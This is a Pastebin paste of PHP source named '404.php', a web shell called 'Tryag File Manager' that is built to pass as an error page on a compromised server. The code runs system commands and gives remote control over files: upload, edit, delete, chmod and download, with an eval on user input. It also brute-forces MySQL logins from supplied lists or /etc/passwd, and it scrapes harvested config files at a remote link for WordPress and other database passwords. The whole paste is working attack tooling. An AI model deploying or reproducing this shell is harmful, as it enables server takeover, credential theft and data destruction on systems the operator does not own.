PalmaSolutions

404.php

Apr 8th, 2018
147
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 21.14 KB | None | 0 0
  1. <?php
  2.  
  3. echo "Uname:".system('uname -a');
  4. error_reporting(0);
  5. set_time_limit(0);
  6. extract(start());
  7. if(get_magic_quotes_gpc()){
  8.     foreach($_POST as $key=>$value){
  9.         $_POST[$key] = stripslashes($value);
  10.     }
  11. }
  12. $_POST['path'] = (isset($_POST['path'])) ? g22b_crypt($_POST['path'],'de') : false;
  13. $_POST['name'] = (isset($_POST['name'])) ? g22b_crypt($_POST['name'],'de') : false;
  14. if(isset($_GET['option']) && $_POST['opt'] == 'download'){
  15.     header('Content-type: text/plain');
  16.     header('Content-Disposition: attachment; filename="'.$_POST['name'].'"');
  17.     echo(file_get_contents($_POST['path']));
  18.     exit();
  19. }
  20. echo '<!DOCTYPE html>
  21. <html>
  22. <head>
  23.    <title>Tryag File Manager</title>
  24.     <h1>S@_@EFKFAWFKWAF</h1>
  25.    <meta name="robots" content="noindex" />
  26.    <style>
  27.        body{
  28.            font-family: "Racing Sans One", cursive;
  29.            background-color: #e6e6e6;
  30.            text-shadow:0px 0px 1px #757575;
  31.            margin: 0;
  32.        }
  33.        #container{
  34.            width: 700px;
  35.            margin: 20px auto;
  36.            border: 1px solid black;
  37.        }
  38.        #header{
  39.            text-align: center;
  40.            border-bottom: 1px dotted black;
  41.        }
  42.        #header h1{
  43.            margin: 0;
  44.        }
  45.        
  46.        #nav,#menu{
  47.            padding-top: 5px;
  48.            margin-left: 5px;
  49.            padding-bottom: 5px;
  50.            overflow: hidden;
  51.            border-bottom: 1px dotted black;
  52.        }
  53.        #nav{
  54.            margin-bottom: 10px;
  55.        }
  56.        
  57.        #menu{
  58.            text-align: center;
  59.        }
  60.        
  61.        #content{
  62.            margin: 0;
  63.        }
  64.        
  65.        #content table{
  66.            width: 700px;
  67.            margin: 0px;
  68.        }
  69.        #content table .first{
  70.            background-color: silver;
  71.            text-align: center;
  72.        }
  73.        #content table .first:hover{
  74.            background-color: silver;
  75.            text-shadow:0px 0px 1px #757575;
  76.        }
  77.        #content table tr:hover{
  78.            background-color: #636263;
  79.            text-shadow:0px 0px 10px #fff;
  80.        }
  81.        
  82.        #footer{
  83.            margin-top: 10px;
  84.            border-top: 1px dotted black;
  85.        }
  86.        #footer p{
  87.            margin: 5px;
  88.            text-align: center;
  89.        }
  90.        .filename,a{
  91.            color: #000;
  92.            text-decoration: none;
  93.            cursor: pointer;
  94.        }
  95.        .filename:hover,a:hover{
  96.            color: #fff;
  97.            text-shadow:0px 0px 10px #ffffff;
  98.        }
  99.        .center{
  100.            text-align: center;
  101.        }
  102.        input,select,textarea{
  103.            border: 1px #000000 solid;
  104.            -moz-border-radius: 5px;
  105.            -webkit-border-radius:5px;
  106.            border-radius:5px;
  107.        }
  108.    </style>
  109.    <script>
  110. function Encoder(name)
  111. {
  112.     var e =  document.getElementById(name);
  113.     e.value = btoa(e.value);
  114.     return true;
  115. }
  116. </script>
  117. </head>
  118. <body>
  119.    
  120.    <div id="container">
  121.        <div id="header"><h1>Tryag File Manager</h1></div>
  122.        <div id="menu"><a href="?path='.$currentpathen.'">Home</a> || <a href="?path='.$currentpathen.'&cpanel">Turbo Force</a> || <a href="?path='.$currentpathen.'&cpanelconf">B-F Config_Cpanel</a></div>
  123.        <div id="nav">
  124.            <div class="path">Current Path : '.nav_link().'
  125.            <form methdo="GET" onSubmit="Encoder(\'c\');"><font color=red>Or</font> Select Your Path : <input type="text" id="c" size="40" name="path" value="'.$currentpath.'" /><input type="submit" value="Go" /></form></div><br />
  126.            <div class="upload">
  127.                <form enctype="multipart/form-data" method="POST" action="?path='.$currentpathen.'&up">
  128.                Upload File : <input type="file" name="file" />
  129.                <input type="submit" value="upload" />
  130.                </form>
  131.            </div>
  132.            <div class="new">
  133.                <form method="POST" action="?path='.$currentpathen.'&new" onSubmit="Encoder(\'kc\')">
  134.                <span>New : </span><input name="name" type="text" size="10" id="kc" />
  135.                File <input type="radio" name="type" value="file" checked/>
  136.                Dir <input type="radio" name="type" value="dir" />
  137.                <input type="submit" value="Create" />
  138.                </form>
  139.            </div>
  140.        </div>
  141.        <div id="content">';
  142. if(isset($_GET['cpanel'])){
  143.     if(isset($_POST['usernames']) && isset($_POST['passwords'])){
  144.         $usernames = base64_decode($_POST['usernames']);
  145.         $passwords = base64_decode($_POST['passwords']);
  146.  
  147.         $count = 0;
  148.         foreach(explode("\n",$usernames) as $username){
  149.             $username = ($_POST['type'] == 'simple') ? $username : passwdtouser($username);
  150.             foreach(explode("\n",$passwords) as $password){
  151.                 $username = trim($username);
  152.                 $password = trim($password);
  153.                 $co = mysql_connect('localhost',$username,$password);
  154.                 if($co){
  155.                     mysql_close($co);
  156.                     echo "Tryag~ Username (<font color=red>$username</font>) Password (<font color=red>$password</font>)<br />";
  157.                     $count++;
  158.                 }
  159.             }
  160.         }
  161.         echo "$count Usernames Founded.";
  162.     }else{
  163.     echo '<form method="POST" onSubmit="Encoder(\'userc\');Encoder(\'passc\');">
  164.    Usernames : <br />
  165.    <textarea cols=84 rows=10 id="userc" name="usernames"></textarea><br />
  166.    Passwords : <br />
  167.    <textarea cols=84 rows=10 id="passc" name="passwords"></textarea><br />
  168.    Usernames Type : Simple : <input type="radio" name="type" value="simple" checked="checked"> - /etc/passwd : <input type="radio" name="type" value="pass">
  169.    <br /><input type="submit" value="Go">
  170.    </form>';
  171.     }
  172. }elseif(isset($_GET['cpanelconf'])){
  173.     if(isset($_POST['link'])){
  174.         if(file_get_contents($_POST['link'])){
  175.             $count = 0;
  176.             foreach(get_data($_POST['link']) as $info){
  177.                 $co = mysql_connect('localhost',$info[0],$info[1]);
  178.                 if($co){
  179.                     echo "Tryag~ Username (<font color=red>$info[0]</font>) Password (<font color=red>$info[1]</font>)<br />";
  180.                     mysql_close($co);  
  181.                 }
  182.             }
  183.         }else{
  184.             echo "<font color=red>Invalid Link Try Again.</font>";
  185.         }
  186.     }
  187.     echo '<form method="POST">
  188.    Configs Link : <input name="link" type="text" value="http://wwww." size="40" />
  189.    <input type="submit" value="start" />
  190.    </form>';
  191. }else{
  192.  
  193.         if(isset($_GET['filesrc'])){
  194.             $file = g22b_crypt($_GET['filesrc'],'de');
  195.             echo '<div class="center">'.htmlspecialchars($file).'</div><textarea cols="84" rows="25">'.filesrc($file).'</textarea></pre>';
  196.         }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete' || (isset($_GET['new']) && $_POST['type'] == 'file')){
  197.  
  198.             echo '<div class="center">'.$_POST['name'].'<br />';
  199.            
  200.             if($_POST['opt'] == 'chmod'){
  201.                 if(isset($_POST['perm'])){
  202.    
  203.                     eval('$perm = '.$_POST['perm'].';');
  204.                     if(chmod($_POST['path'],$perm)){
  205.                         echo '<font color="green">Change Permission Done.</font><br />';
  206.                         $permdone = true;
  207.                     }else{
  208.                         echo '<font color="red">Change Permission Error.</font><br />';
  209.                     }
  210.                 }
  211.                 if($permdone){
  212.                     $perm = $_POST['perm'];
  213.                 }else{
  214.                     $perm = substr(sprintf('%o', fileperms($_POST['path'])), -4);
  215.                 }
  216.                
  217.                 echo '<form method="POST">
  218.                Permission : <input name="perm" type="text" size="4" value="'.$perm.'" />
  219.                <input type="hidden" name="path" value="'.g22b_crypt($_POST['path'],'en').'">
  220.                <input type="hidden" name="name" value="'.g22b_crypt($_POST['name'],'en').'">
  221.                <input type="hidden" name="opt" value="chmod">
  222.                <input type="submit" value="Go" />
  223.                </form>';
  224.             }elseif($_POST['opt'] == 'rename'){
  225.                
  226.                 if(isset($_POST['newname'])){
  227.                     if(rename($_POST['path'],$currentpath.'/'.$_POST['newname'])){
  228.                         echo '<font color="green">Change Name Done.</font><br />';
  229.                         $_POST['name'] = $_POST['newname'];
  230.                     }else{
  231.                         echo '<font color="red">Change Name Error.</font><br />';
  232.                     }
  233.                 }
  234.                
  235.                 echo '<form method="POST">
  236.                New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  237.                <input type="hidden" name="path" value="'.g22b_crypt($_POST['path'],'en').'">
  238.                <input type="hidden" name="name" value="'.g22b_crypt($_POST['name'],'en').'">
  239.                <input type="hidden" name="opt" value="rename">
  240.                <input type="submit" value="Go" />
  241.                </form>';
  242.             }elseif($_POST['opt'] == 'edit' || isset($_GET['new'])){
  243.                 if(isset($_POST['src'])){
  244.                     $fp = fopen($_POST['path'],'w');
  245.                     if(fwrite($fp,base64_decode($_POST['src']))){
  246.                         echo '<font color="green">Edit File Done.</font><br />';
  247.                         $done = true;
  248.                     }else{
  249.                         echo '<font color="red">Edit File Error.</font><br />';
  250.                     }
  251.                     fclose($fp);
  252.                 }
  253.                 if(isset($_GET['new']) && !$done){
  254.                     $filecontent = '';
  255.                     $_POST['path'] = "$currentpath/$_POST[name]";
  256.                 }else{
  257.                     $filecontent = filesrc($_POST['path']);
  258.                 }
  259.                 echo '<form method="POST" onSubmit="Encoder(\'cc\')">
  260.                <textarea cols="84" rows="25" name="src" id="cc">'.$filecontent.'</textarea><br />
  261.                <input type="hidden" name="path" value="'.g22b_crypt($_POST['path'],'en').'">
  262.                <input type="hidden" name="name" value="'.g22b_crypt($_POST['name'],'en').'">
  263.                <input type="hidden" name="type" value="file" />
  264.                <input type="hidden" name="opt" value="edit">
  265.                <input type="submit" value="Go" />
  266.                </form>';
  267.             }
  268.            
  269.             echo '</div>';
  270.         }else{
  271.             echo '<div class="center">';
  272.             if($_POST['opt'] == 'delete'){
  273.                 if($_POST['type'] == 'dir'){
  274.                     if(rmdir($_POST['path'])){
  275.                         echo '<font color="green">Delete Dir Done.</font><br />';
  276.                     }else{
  277.                         echo '<font color="red">Delete Dir Error.</font><br />';
  278.                     }
  279.                 }elseif($_POST['type'] == 'file'){
  280.                     if(unlink($_POST['path'])){
  281.                         echo '<font color="green">Delete File Done.</font><br />';
  282.                     }else{
  283.                         echo '<font color="red">Delete File Error.</font><br />';
  284.                     }
  285.                 }
  286.             }elseif($_POST['type'] == 'dir' && isset($_GET['new'])){
  287.                 if(mkdir("$currentpath/$_POST[name]")){
  288.                     echo '<font color="green">Create Dir Done.</font><br />';
  289.                 }else{
  290.                     echo '<font color="red">Create Dir Error.</font><br />';
  291.                 }
  292.             }elseif(isset($_FILES['file'])){
  293.                 $userfile_name = $currentpath.'/'.$_FILES['file']['name'];
  294.                 $userfile_tmp = $_FILES['file']['tmp_name'];
  295.                 if(move_uploaded_file($userfile_tmp,$userfile_name)){
  296.                     echo '<font color="green">File Upload Done.</font><br />';
  297.                 }else{
  298.                     echo '<font color="red">File Upload Error.</font><br />';
  299.                 }
  300.             }
  301.             echo '</div><table>
  302.                <tr class="first">
  303.                    <td>Name</td>
  304.                    <td>Size</td>
  305.                    <td>Permissions</td>
  306.                    <td>Options</td>
  307.                </tr>';
  308.        
  309.         $dirs = getfiles('dir');
  310.         foreach($dirs as $dir){
  311.         echo '<div id="dirs"><tr>
  312.        <td><a href="?path='.$dir['link'].'"><div class="filename">'.$dir['name'].'</div></a></td>
  313.        <td class="center">'.$dir['size'].'</td>
  314.        <td class="center"><font color="'.$dir['permcolor'].'">'.$dir['perm'].'</font></td>
  315.        <td class="center"><form method="POST" action="?path='.$currentpathen.'&option">
  316.        <select name="opt">
  317.         <option value=""></option>
  318.        <option value="delete">Delete</option>
  319.        <option value="chmod">Chmod</option>
  320.        <option value="rename">Rename</option>
  321.        </select>
  322.        <input type="hidden" name="type" value="dir">
  323.        <input type="hidden" name="name" value="'.g22b_crypt($dir['name'],'en').'">
  324.        <input type="hidden" name="path" value="'.$dir['link'].'">
  325.        <input type="submit" value=">" />
  326.        </form></td>
  327.        </tr>
  328.        </div>';
  329.         }
  330.         echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  331.        
  332.         $files = getfiles('file');
  333.         foreach($files as $file){
  334.             echo '<div id="files">
  335.        
  336.        <tr>
  337.        <td><a href="?path='.$currentpathen.'&filesrc='.$file['link'].'"><div class="filename">'.$file['name'].'</div></a></td>
  338.        <td class="center">'.$file['size'].'</td>
  339.        <td class="center"><font color="'.$file['permcolor'].'">'.$file['perm'].'</font></td>
  340.        <td class="center"><form method="POST" action="?path='.$currentpathen.'&option">
  341.        <select name="opt">
  342.         <option value=""></option>
  343.        <option value="delete">Delete</option>
  344.        <option value="chmod">Chmod</option>
  345.        <option value="rename">Rename</option>
  346.        <option value="edit">Edit</option>
  347.        <option value="download">Download</option>
  348.        </select>
  349.        <input type="hidden" name="type" value="file">
  350.        <input type="hidden" name="name" value="'.g22b_crypt($file['name'],'en').'">
  351.        <input type="hidden" name="path" value="'.$file['link'].'">
  352.        <input type="submit" value=">" />
  353.        </form></td>
  354.        </tr></div>';
  355.         }
  356.             echo '</table>';
  357.         }
  358. }
  359.         echo '
  360. </body>
  361. </html>';
  362.  
  363. function getfiles($type){
  364.     global $currentpath;
  365.     $dir = scandir($currentpath);
  366.     $result = array();
  367.     foreach($dir as $file){
  368.         $current['fullname'] = "$currentpath/$file";
  369.         if($type == 'dir'){
  370.             if(!is_dir($current['fullname']) || $file == '.' || $file == '..') continue;
  371.         }elseif($type == 'file'){
  372.             if(!is_file($current['fullname'])) continue;
  373.         }
  374.        
  375.         $current['name'] = $file;
  376.         $current['link'] = g22b_crypt($current['fullname'],'en');
  377.         $current['size'] = (is_dir($current['fullname'])) ? '--' : file_size($current['fullname']);
  378.         $current['perm'] = perms($current['fullname']);
  379.         if(is_writable($current['fullname'])){
  380.             $current['permcolor'] = 'green';
  381.         }elseif(is_readable($current['fullname'])){
  382.             $current['permcolor'] = '';
  383.         }else{
  384.             $current['permcolor'] = 'red';
  385.         }
  386.        
  387.         $result[] = $current;
  388.        
  389.     }
  390.     return $result;
  391. }
  392. function start(){
  393.     global $_POST,$_GET;
  394.    
  395.     $result['currentpath'] = (isset($_GET['path'])) ? g22b_crypt($_GET['path'],'de') : cwd();
  396.     $result['currentpathen'] = (isset($_GET['path'])) ? $_GET['path'] : g22b_crypt(cwd(),'en');
  397.    
  398.     return $result;
  399. }
  400. function file_size($file){
  401.     $size = filesize($file)/1024;
  402.     $size = round($size,3);
  403.     if($size >= 1024){
  404.         $size = round($size/1024,2).' MB';
  405.     }else{
  406.         $size = $size.' KB';
  407.     }
  408.     return $size;
  409. }
  410. function g22b_crypt($txt,$type){
  411.     if(function_exists('base64_encode') && function_exists('base64_decode')){
  412.         return ($type == 'en') ? base64_encode($txt) : base64_decode($txt);
  413.     }elseif(function_exists('strlen') && function_exists('dechex') && function_exists('ord') && function_exists('chr') && function_exists('hexdec')){
  414.         return ($type == 'en') ? strToHex($txt) : hexToStr($txt);
  415.     }else{
  416.         $ar1 = array('public_html','.htaccess','/','.');
  417.         $ar2 = array('bbbpubghostbbb','bbbhtaghostbbb','bbbsghostbbb','bbbdotghostbbb');
  418.         return ($type == 'en') ? str_replace($ar1,$ar2,$txt) : str_replace($ar2,$ar1,$txt);
  419.     }
  420. }
  421. function strToHex($string){
  422.     $hex='';
  423.     for ($i=0; $i < strlen($string); $i++)
  424.     {
  425.         $hex .= dechex(ord($string[$i]));
  426.     }
  427.     return $hex;
  428. }
  429. function hexToStr($hex){
  430.     $string='';
  431.     for ($i=0; $i < strlen($hex)-1; $i+=2)
  432.     {
  433.         $string .= chr(hexdec($hex[$i].$hex[$i+1]));
  434.     }
  435.     return $string;
  436. }
  437. function nav_link(){
  438.     global $currentpath;
  439.     $path = $currentpath;
  440.     $path = str_replace('\\','/',$path);
  441.     $paths = explode('/',$path);
  442.     $result = '';
  443.     foreach($paths as $id=>$pat){
  444.         if($pat == '' && $id == 0){
  445.             $a = true;
  446.             $result .= '<a href="?path='.g22b_crypt("/",'en').'">/</a>';
  447.             continue;
  448.         }
  449.         if($pat == '') continue;
  450.         $result .= '<a href="?path=';
  451.         $linkpath = '';
  452.         for($i=0;$i<=$id;$i++){
  453.             $linkpath .= "$paths[$i]";
  454.             if($i != $id) $linkpath .= "/";
  455.         }
  456.         $result .= g22b_crypt($linkpath,'en');
  457.         $result .=  '">'.$pat.'</a>/';
  458.     }
  459.     return $result;
  460. }
  461. function filesrc($file){
  462.     return htmlspecialchars(file_get_contents($file));
  463. }
  464. function cwd(){
  465.     if(function_exists('getcwd')){
  466.         return getcwd();
  467.     }else{
  468.         $e = str_replace("\\","/",$path);
  469.         $e = explode('/',$path);
  470.         $result = '';
  471.         for($i=0;$i<count($e)-1;$i++){
  472.             if($e[$i] == '') continue;
  473.             $result .= '/'.$e[$i];
  474.         }
  475.         return $result;
  476.     }
  477. }
  478. function passwdtouser($line){
  479.     $user = explode(':',$line);
  480.     return $user[0];
  481. }
  482. function ex($a,$b,$text){
  483.     $explode = explode($a,$text);
  484.     $explode = explode($b,$explode[1]);
  485.     return trim($explode[0]);
  486. }
  487. function get_data($url){
  488.     $ar = array('1.txt','2.txt','3.txt','4.txt','5.txt','6.txt','7.txt','8.txt','9.txt','0.txt');
  489.     $src = file_get_contents($url);
  490.     $files = explode('<a href="',$src);
  491.     $data = array();
  492.     foreach($files as $id=>$file){
  493.         if($id == 0) continue;
  494.     $file = explode('">',$file);
  495.     $file = trim($file[0]);
  496.     if(!eregi('.txt',$file)) continue;
  497.     $src = file_get_contents("$url/$file");
  498.     if(!$src) continue;
  499.     $user = str_replace($ar,'',$file);
  500.     $user = str_replace($ar,'',$user.'.txt');
  501.     $user = str_replace($ar,'',$user.'.txt');
  502.     $user = trim(str_replace('.txt','',$user));
  503.     if(eregi("WordPress",$src)){
  504.         $pass = ex("define('DB_PASSWORD', '","');",$src);
  505.         $data[] = array($user,$pass);
  506.     }else{
  507.         $tokens = token_get_all($src);
  508.         foreach($tokens as $token){
  509.             if(!$token[1]) continue;
  510.             $tokenname = token_name($token[0]);
  511.             if($tokenname != 'T_VARIABLE') continue;
  512.             $var = $token[1];
  513.             if(eregi('pass',$var)){
  514.                 $f = str_replace(' ','',ex($var,';',$src));
  515.                 $a = trim(ex("='","'",$f));
  516.                 $b = trim(ex('"','"',$f));
  517.                 if($a != ''){
  518.                     $pass = $a;
  519.                 }elseif($b != ''){
  520.                     $pass = $b;
  521.                 }
  522.                 if($pass == '') continue;
  523.                 $data[] = array($user,$pass);
  524.             }
  525.         }
  526.     }
  527.     }
  528.     return $data;
  529. }
  530. function perms($file){
  531.     $perms = @fileperms($file);
  532.  
  533. if (($perms & 0xC000) == 0xC000) {
  534.     // Socket
  535.     $info = 's';
  536. } elseif (($perms & 0xA000) == 0xA000) {
  537.     // Symbolic Link
  538.     $info = 'l';
  539. } elseif (($perms & 0x8000) == 0x8000) {
  540.     // Regular
  541.     $info = '-';
  542. } elseif (($perms & 0x6000) == 0x6000) {
  543.     // Block special
  544.     $info = 'b';
  545. } elseif (($perms & 0x4000) == 0x4000) {
  546.     // Directory
  547.     $info = 'd';
  548. } elseif (($perms & 0x2000) == 0x2000) {
  549.     // Character special
  550.     $info = 'c';
  551. } elseif (($perms & 0x1000) == 0x1000) {
  552.     // FIFO pipe
  553.     $info = 'p';
  554. } else {
  555.     // Unknown
  556.     $info = 'u';
  557. }
  558.  
  559. // Owner
  560. $info .= (($perms & 0x0100) ? 'r' : '-');
  561. $info .= (($perms & 0x0080) ? 'w' : '-');
  562. $info .= (($perms & 0x0040) ?
  563.             (($perms & 0x0800) ? 's' : 'x' ) :
  564.             (($perms & 0x0800) ? 'S' : '-'));
  565.  
  566. // Group
  567. $info .= (($perms & 0x0020) ? 'r' : '-');
  568. $info .= (($perms & 0x0010) ? 'w' : '-');
  569. $info .= (($perms & 0x0008) ?
  570.             (($perms & 0x0400) ? 's' : 'x' ) :
  571.             (($perms & 0x0400) ? 'S' : '-'));
  572.  
  573. // World
  574. $info .= (($perms & 0x0004) ? 'r' : '-');
  575. $info .= (($perms & 0x0002) ? 'w' : '-');
  576. $info .= (($perms & 0x0001) ?
  577.             (($perms & 0x0200) ? 't' : 'x' ) :
  578.             (($perms & 0x0200) ? 'T' : '-'));
  579.  
  580.     return $info;
  581. }
  582. ?>
Add Comment
Please, Sign In to add comment